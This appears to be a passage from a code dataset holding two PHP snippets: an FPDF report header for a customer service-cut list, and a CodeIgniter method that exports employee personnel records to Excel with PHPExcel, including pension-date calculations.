Header()\n\t{\n\t\t$this->SetFont('Arial','',12);\n\t\t$this->MultiCell(190,5,nombre_empresa(),'0','C');\n\t\t$this->SetFont('Arial','',10);\n\t\t$this->MultiCell(190,5,tipo_serv(),'0','C');\n\t\t$this->SetFont('Arial','B',10);\n\t\t$this->SetTextColor(0,0,0);\n\t\t$this->MultiCell(190,7,strtoupper(_('listado de clientes para cortes')),'0','C');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->SetX(133);\n\t\t$this->Cell(12,5,strtoupper(_('fecha')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"d/m/Y\"),0,0,'L');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->Cell(12,5,strtoupper(_('hora')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"h:i:s A\"),0,0,'L');\n\t\t$this->Ln();\t\t\n\t}", "public function export()\n {\n include APPPATH . 'third_party/PHPExcel.php';\n\n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n date_default_timezone_set('Asia/Jakarta');\n $date = date(\"mY\");\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('Admin PTPN VIII (' .$this->session->userdata('status_login'). ')')\n ->setLastModifiedBy('Admin PTPN VIII (' .$this->session->userdata('status_login'). ')')\n ->setTitle(\"Data A1\" .$date)\n ->setSubject(\"A1\" .$date)\n ->setDescription(\"Laporan Data A1\" .$date)\n ->setKeywords(\"Data A1\" .$date);\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat header tabel nya pada baris ke 1\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"NPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('B1', \"NAMA\");\n $excel->setActiveSheetIndex(0)->setCellValue('C1', \"NM_PGL\");\n $excel->setActiveSheetIndex(0)->setCellValue('D1', \"GLR_DPN\");\n $excel->setActiveSheetIndex(0)->setCellValue('E1', \"GLR_BLK\");\n $excel->setActiveSheetIndex(0)->setCellValue('F1', \"TPT_LAHIR\");\n $excel->setActiveSheetIndex(0)->setCellValue('G1', \"TGL_LAHIR\");\n $excel->setActiveSheetIndex(0)->setCellValue('H1', \"KELAMIN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I1', \"GOL_DARAH\");\n $excel->setActiveSheetIndex(0)->setCellValue('J1', \"AGAMA\");\n $excel->setActiveSheetIndex(0)->setCellValue('K1', \"ALAMAT\");\n $excel->setActiveSheetIndex(0)->setCellValue('L1', \"KOTA\");\n $excel->setActiveSheetIndex(0)->setCellValue('M1', \"TINGGAL\");\n $excel->setActiveSheetIndex(0)->setCellValue('N1', \"SIPIL\");\n $excel->setActiveSheetIndex(0)->setCellValue('O1', \"STAT_IS\");\n $excel->setActiveSheetIndex(0)->setCellValue('P1', \"TGL_NIKAH\");\n $excel->setActiveSheetIndex(0)->setCellValue('Q1', \"TGL_CERAI\");\n $excel->setActiveSheetIndex(0)->setCellValue('R1', \"KANDUNG\");\n $excel->setActiveSheetIndex(0)->setCellValue('S1', \"ANGKAT\");\n $excel->setActiveSheetIndex(0)->setCellValue('T1', \"TANGGUNG\");\n $excel->setActiveSheetIndex(0)->setCellValue('U1', \"TGL_PPH\");\n $excel->setActiveSheetIndex(0)->setCellValue('V1', \"KD_PEND\");\n $excel->setActiveSheetIndex(0)->setCellValue('W1', \"TGL_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('X1', \"NO_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('Y1', \"KD_KELAS\");\n $excel->setActiveSheetIndex(0)->setCellValue('Z1', \"KLS_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AA1', \"KLS_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AB1', \"GOL\");\n $excel->setActiveSheetIndex(0)->setCellValue('AC1', \"MK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AD1', \"GOL_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AE1', \"GOL_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AF1', \"GPO\");\n $excel->setActiveSheetIndex(0)->setCellValue('AG1', \"KD_KBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AH1', \"KD_ADF\");\n $excel->setActiveSheetIndex(0)->setCellValue('AI1', \"KD_JAB\");\n $excel->setActiveSheetIndex(0)->setCellValue('AJ1', \"NAMA_JAB\");\n $excel->setActiveSheetIndex(0)->setCellValue('AK1', \"KD_BUD\");\n $excel->setActiveSheetIndex(0)->setCellValue('AL1', \"JAB_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AM1', \"JAB_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AN1', \"JAB_TGL\");\n $excel->setActiveSheetIndex(0)->setCellValue('AO1', \"ASTEK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AP1', \"TASPEN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AQ1', \"NO_KK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AR1', \"NO_NIK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AS1', \"NO_BPJS\");\n $excel->setActiveSheetIndex(0)->setCellValue('AT1', \"TGL_MPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('AU1', \"TGL_PEN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AV1', \"MKTHN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AW1', \"MKBLN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AX1', \"MKHR\");\n $excel->setActiveSheetIndex(0)->setCellValue('AY1', \"MPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('AZ1', \"STAT_REC\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('B1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('C1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('D1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('E1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('F1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('G1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('H1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('I1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('J1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('K1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('L1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('M1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('N1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('O1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('P1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DDMMYYYY);\n $excel->getActiveSheet()->getStyle('Q1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DDMMYYYY);\n $excel->getActiveSheet()->getStyle('R1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('S1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('T1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('U1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('V1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('W1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('X1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Y1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Z1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AA1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AB1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AC1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AD1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AE1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AF1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AG1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AH1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AI1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AJ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AK1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AL1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AM1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AN1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AO1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AP1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AQ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AR1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AS1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AT1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AU1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AV1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AW1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AX1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AY1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AZ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n\n // Menampilkan semua data dari tabel rekao A1\n $numrow = 2; // Set baris pertama untuk isi tabel adalah baris ke 2\n $sdm01 = $this->Model_admin->tampil_a1();\n foreach ($sdm01->result_array() as $i) { // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('A' . $numrow, $i['npp'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $i['nama']);\n $excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $i['nm_pgl']);\n $excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $i['glr_dpn']);\n $excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $i['glr_blk']);\n $excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $i['kota_lhr']);\n $excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, date('d-m-Y', strtotime($i['tgl_lhr'])));\n $excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $i['j_kelamin']);\n $excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $i['gol_darah']);\n $excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $i['agama']);\n $excel->setActiveSheetIndex(0)->setCellValue('K' . $numrow, $i['alamat_tgl']);\n $excel->setActiveSheetIndex(0)->setCellValue('L' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('M' . $numrow, '1');\n $excel->setActiveSheetIndex(0)->setCellValue('N' . $numrow, $i['st_sipil']);\n\n $sdm02 = $this->Model_admin->get_sdm02_a1($i['npp']);\n foreach ($sdm02 as $a) {\n\n $excel->setActiveSheetIndex(0)->setCellValue('O' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('P' . $numrow, date('d-m-Y', strtotime($a['tgl_nkh'])));\n $excel->setActiveSheetIndex(0)->setCellValue('Q' . $numrow, date('d-m-Y', strtotime($a['tgl_cerai'])));\n }\n\n $sdm02 = $this->Model_admin->get_sdm02_a1_anak($i['npp']);\n foreach ($sdm02 as $b) {\n $excel->setActiveSheetIndex(0)->setCellValue('R' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('S' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('T' . $numrow, $b['tanggungan']);\n $excel->setActiveSheetIndex(0)->setCellValue('U' . $numrow, '');\n }\n\n $sdm03 = $this->Model_admin->get_sdm03_a1($i['npp']);\n foreach ($sdm03 as $c) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('V' . $numrow, $c['kd_pend'], PHPExcel_Cell_DataType::TYPE_STRING);\n }\n\n $excel->setActiveSheetIndex(0)->setCellValue('W' . $numrow, date('d-m-Y', strtotime($i['tgl_masuk'])));\n\n $sdm08 = $this->Model_admin->get_sdm08_a1($i['npp']);\n foreach ($sdm08 as $d) {\n\n $excel->setActiveSheetIndex(0)->setCellValue('X' . $numrow, $d['no_sk']);\n }\n\n $sdm16 = $this->Model_admin->get_sdm16_a1($i['npp']);\n foreach ($sdm16 as $e) {\n $excel->setActiveSheetIndex(0)->setCellValue('Y' . $numrow, $e['kd_kelas']);\n $excel->setActiveSheetIndex(0)->setCellValue('Z' . $numrow, date('d-m-Y', strtotime($e['kls_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AA' . $numrow, $e['kls_sk']);\n }\n\n $sdm16 = $this->Model_admin->get_sdm16_a1_akhir($i['npp']);\n foreach ($sdm16 as $a) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AB' . $numrow, $a['golongan'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AC' . $numrow, $a['mk'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('AD' . $numrow, date('d-m-Y', strtotime($a['gol_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AE' . $numrow, $a['gol_sk']);\n $excel->setActiveSheetIndex(0)->setCellValue('AF' . $numrow, '');\n }\n\n $sdm08 = $this->Model_admin->get_sdm08_a1_akhir($i['npp']);\n foreach ($sdm08 as $a) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AG' . $numrow, $a['kd_kbn'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AH' . $numrow, $a['kd_adf'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AI' . $numrow, $a['kd_jab'], PHPExcel_Cell_DataType::TYPE_STRING);\n\n $jab = $this->Model_admin->get_jabatan($a['kd_jab']);\n foreach ($jab as $jab) {\n $excel->setActiveSheetIndex(0)->setCellValue('AJ' . $numrow, $jab['nama']);\n }\n\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AK' . $numrow, $a['kd_bud'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('AL' . $numrow, date('d-m-Y', strtotime($a['jab_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AM' . $numrow, $a['jab_sk']);\n $excel->setActiveSheetIndex(0)->setCellValue('AN' . $numrow, date('d-m-Y', strtotime($a['jab_tgl'])));\n }\n\n\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AO' . $numrow, $i['no_astek'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AP' . $numrow, $i['no_pens'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AQ' . $numrow, $i['no_kk'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AR' . $numrow, $i['no_nik'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AS' . $numrow, $i['no_bpjs'], PHPExcel_Cell_DataType::TYPE_STRING);\n\n $sdm16 = $this->Model_admin->get_sdm16_a1_akhir($i['npp']);\n $golongan = $sdm16[0]['golongan'];\n $golongan = (int)$golongan;\n if ($golongan >= 0 and $golongan <= 8) {\n $tgl_pen = date('Y-m-d', strtotime('+55 year +1 month', strtotime($i['tgl_lhr'])));\n $tgl_mpp = date('Y-m-d', strtotime('-6 month', strtotime($tgl_pen)));\n $excel->setActiveSheetIndex(0)->setCellValue('AT' . $numrow, date('01-m-Y', strtotime($tgl_mpp)));\n $excel->setActiveSheetIndex(0)->setCellValue('AU' . $numrow, date('01-m-Y', strtotime($tgl_pen)));\n }\n if ($golongan >= 9 and $golongan <= 16) {\n $tgl_pen = date('Y-m-d', strtotime('+56 year +1 month', strtotime($i['tgl_lhr'])));\n $tgl_mpp = date('Y-m-d', strtotime('-6 month', strtotime($tgl_pen)));\n $excel->setActiveSheetIndex(0)->setCellValue('AT' . $numrow, date('01-m-Y', strtotime($tgl_mpp)));\n $excel->setActiveSheetIndex(0)->setCellValue('AU' . $numrow, date('01-m-Y', strtotime($tgl_pen)));\n }\n\n $sdm01 = $this->Model_admin->tampil_a1($i['npp'])->result_array();\n $skrng = date_create($sdm01[0]['tgl_masuk']);\n $tgl_pen = date_create($tgl_pen);\n\n $diff = date_diff($skrng, $tgl_pen);\n\n if ($diff->y > 57) {\n $excel->setActiveSheetIndex(0)->setCellValue('AV' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AW' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AX' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AY' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AZ' . $numrow, '');\n } else {\n $excel->setActiveSheetIndex(0)->setCellValue('AV' . $numrow, $diff->y);\n $excel->setActiveSheetIndex(0)->setCellValue('AW' . $numrow, $diff->m);\n $excel->setActiveSheetIndex(0)->setCellValue('AX' . $numrow, $diff->d);\n $excel->setActiveSheetIndex(0)->setCellValue('AY' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('AZ' . $numrow, '');\n }\n\n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('K' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('L' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('M' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('N' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('O' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('P' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Q' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('R' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('S' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('T' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('U' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('V' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('W' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('X' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Y' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Z' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AA' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AB' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AC' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AD' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AE' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AF' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AG' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AH' . $numrow)->applyFromArray($style_row)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AI' . 